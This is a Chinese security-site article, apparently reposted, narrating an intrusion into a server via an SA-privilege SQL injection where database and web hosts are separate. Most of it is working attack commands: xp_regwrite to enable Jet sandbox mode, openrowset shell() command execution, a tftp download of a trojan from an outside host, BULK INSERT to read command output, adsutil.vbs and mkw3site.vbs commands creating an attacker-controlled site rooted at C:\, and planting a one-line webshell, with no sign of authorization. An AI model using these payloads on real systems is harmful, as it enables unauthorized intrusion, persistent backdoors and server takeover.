游乐游手机版
首页/网络安全/文章详情

记一次前所未有巧妙的Hacking入侵

时间:2026-04-28 20:07
一次曲折的SA注入与数据库、WEB分离环境实战 在一次技术交流中,一位朋友发来一个链接,声称发现了一个SA权限的SQL注入点,但目标系统是数据库与WEB分离的架构,尝试多次均未成功。听到是SA权限,理论上应该有较大操作空间,我便接手并承诺尽快给出解决方案。 首先通过手工检测验证了该注入点的确具有SA

一次曲折的SA注入与数据库、WEB分离环境实战

在一次技术交流中,一位朋友发来一个链接,声称发现了一个SA权限的SQL注入点,但目标系统是数据库与WEB分离的架构,尝试多次均未成功。听到是SA权限,理论上应该有较大操作空间,我便接手并承诺尽快给出解决方案。

首先通过手工检测验证了该注入点的确具有SA(System Administrator)高权限。具体的漏洞验证细节此处略过,重点分享后续的渗透测试思路与技巧。确认权限后,我直接使用了NBSI这款经典的SQL注入工具进行深入测试。

第一步,尝试恢复被禁用的xp_cmdshell与sp_OACreate这两个关键的扩展存储过程。恢复成功后,执行命令测试却发现无回显,怀疑命令并未真正执行。接着尝试恢复xp_servicecontrol,同样缺乏直接回显。于是改用ECHO命令向指定目录写入测试文件,再利用目录列举功能查看,但目标目录为空。

情况变得复杂起来。管理员很可能禁用了多个常见的危险存储过程。那么,xp_regwrite是否可用呢?尝试之后,决定手动启用沙盒模式:

asp?idx=32;exec master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0\Engines','SandBoxMode','REG_DWORD',0;--

启用后,立即通过沙盒模式尝试写入文件:

asp?idx=32 and 0<>(select * from openrowset('microsoft.jet.oledb.4.0',';database=c:\winnt\system32\ias\ias.mdb','select shell("cmd /c echo xx >c:\xxx\xxx.txt")'))--

再次列目录,文件成功写入!这意味着我们找到了一个可执行命令的通道,管理员在安全配置上存在疏漏。

获得命令执行能力后,首先尝试使用TFTP上传木马:执行tftp -i ip get muma.exe c:\muma.exe,但长时间无响应。推测服务器可能禁用了TFTP客户端或限制了外部网络连接。

转换思路,执行一段用于远程下载的VBS脚本,同样无果。服务器似乎不主动发起外网请求。为了确认网络环境,执行IPCONFIG并将结果输出到临时文件np.tmp。但如何获取没有回显的命令结果呢?

这里采用了一个巧妙的技巧:利用NBSI能回显查询结果的特性,模拟其原理。

首先创建临时表存储命令输出:

asp?idx=32;CREATE TABLE [NP_ICEHACK](ResultTxt nvarchar(1024) NULL)--

然后,使用BULK INSERT命令将np.tmp文件内容导入该表:

asp? idx=32 BULK INSERT [NP_ICEHACK] FROM 'np.tmp' WITH (KEEPNULLS);insert into [NP_ICEHACK] values ('g_over');Alter Table [NP_ICEHACK] add id int NOT NULL IDENTITY (1,1)--

最后,直接用NBSI查询NP_ICEHACK表,成功获取了数据库服务器的内网IP地址。

获取IP后,使用nmap进行端口扫描,结果出乎意料:仅开放80端口。这与数据库、WEB分离的初步判断相悖。但PING网站域名得到的IP与数据库服务器IP并不一致。

访问该IP的80端口,页面空白。尝试访问常见目录,依旧空白。nmap识别为IIS 5.0,难道是误判?

为了验证,通过沙盒模式执行net stop w3svc停止WEB服务。刷新后80端口无法访问,证明服务确实在运行。执行net start w3svc重启后,提示变为“No web site is configured at this address”。

这表明站点绑定了域名,未配置IP直接访问。此时,尝试为现有站点添加虚拟目录。通过IIS管理脚本查询站点绑定配置(递增数字可遍历不同站点):

cmd /c Cscript.exe c:\Inetpub\AdminScripts\adsutil.vbs GET W3SVC/1/ServerBindings

其中,W3SVC/1是IIS元数据库路径,ServerBindings是其绑定属性。

利用NBSI回显查询结果,在站点编号3发现了绑定域名。接着尝试为该站点添加一个高权限虚拟目录:

Cscript.exe c:\Inetpub\AdminScripts\adsutil.vbs CREATE w3svc/3/Root/np "IIsWebVirtualDir"

Cscript.exe c:\Inetpub\AdminScripts\adsutil.vbs SET w3svc/3/root/np/Path "C:\"

Cscript.exe c:\Inetpub\AdminScripts\adsutil.vbs SET w3svc/3/Root/np/AccessRead 1

Cscript.exe c:\Inetpub\AdminScripts\adsutil.vbs SET w3svc/3/Root/np/AccessWrite 1

Cscript.exe c:\Inetpub\AdminScripts\adsutil.vbs SET w3svc/3/Root/np/AccessScript 1

Cscript.exe c:\Inetpub\AdminScripts\adsutil.vbs SET w3svc/3/Root/np/EnableDirBrowsing 1

Cscript.exe c:\Inetpub\AdminScripts\adsutil.vbs SET w3svc/3/Root/np/AccessSource 1

添加完成后,访问“www.xxx.com/np/”却依然跳转到主站内容。访问不存在子目录也被重定向。这表明服务器很可能配置了URL重写或泛解析规则,将所有请求转发至主域名。

无法利用现有站点,便转换思路:自行创建新站点。执行IIS建站命令:

cmd /c cscript c:\Inetpub\AdminScripts\mkw3site.vbs -r "c:\" -t "test" -c "LocalHost" -o "80" -h "netpatch.xx.com"

同时将自有域名netpatch.xx.com解析至该服务器IP。再次访问,成功看到一个全新的、由自己控制的站点界面。

至此,通道完全打通。最后,通过ECHO命令写入一句话木马,结束了这次充满挑战的渗透测试。

需要说明的是,实际测试过程远比文中描述曲折。在目标环境极为苛刻(仅开80端口、WEB服务被全局转发、服务器无外网访问)的情况下,每一步突破都依赖对系统机制的深度理解、灵活的变通能力以及在本地环境中的反复验证。这正是一次典型的SA权限注入在数据库与WEB分离环境下的高级实战。

来源:https://www.jb51.net/hack/5323.html
上一篇巧改设置强化3389入侵 下一篇黑客谈MS07-029域名DNS漏洞利用入侵过程
本站内容用于信息整理与展示,如有侵权或内容问题请及时联系处理。

相关推荐

补充同频道和同主题内容,方便继续浏览更多相关内容。

同类最新

继续查看同栏目最近更新的文章。

更多
Debian环境下Docker安全漏洞防范方法指南
网络安全 · 2026-07-02

Debian环境下Docker安全漏洞防范方法指南

在Debian系统下,Docker的安全防护虽然是个老话题,却始终需要高度警惕。先说几个核心判断:如果你的Docker容器使用root权限运行、镜像来源不明、系统一年不更新,那几乎等同于“裸奔”。下面这套方案虽然不是万能的,但足以抵挡绝大多数已知攻击路径。 1 定期更新系统和软件 保持系统与镜像始

深入解析Linux系统readdir安全漏洞的防范措施与技巧
网络安全 · 2026-07-02

深入解析Linux系统readdir安全漏洞的防范措施与技巧

Linuxreaddir函数存在路径遍历、信息泄露、竞争条件、缓冲区溢出、LD_PRELOAD劫持及权限问题等安全漏洞。防范需实施路径验证、最小权限原则、线程安全保护、缓冲区安全处理、日志审计、输入过滤、权限检查、限制目录深度及使用安全API等综合措施。

Linux syslog日志加密实现方法详解
网络安全 · 2026-07-02

Linux syslog日志加密实现方法详解

Linux系统可利用Syslog-ng、rsyslog或Logrotate结合GnuPG对syslog日志进行AES256加密,需特别注意密钥安全管理、性能影响及加密日志的备份,从而有效防止敏感信息泄露。

Debian系统漏洞修复难点的深度解析与应对策略
网络安全 · 2026-07-02

Debian系统漏洞修复难点的深度解析与应对策略

Debian系统的漏洞修复看似简单,实际操作却充满挑战。核心难点主要集中在系统架构的复杂性、安全更新机制的独特性、用户的使用习惯,以及社区资源的局限性。即便是资深管理员,也常常在以上环节遇到棘手问题。 系统复杂性导致的修复难题 组件数量庞大: Debian系统包含成千上万个软件包,它们之间的依赖关系

Debian系统漏洞修复技巧从入门到精通实战指南
网络安全 · 2026-07-02

Debian系统漏洞修复技巧从入门到精通实战指南

Debian系统漏洞修复需先更新系统并配置安全补丁仓库,可开启自动更新。针对特定漏洞单独修复,结合最小权限、强密码、防火墙与入侵检测,并定期备份数据。关注官方公告及使用扫描工具,对自定义应用进行代码审计。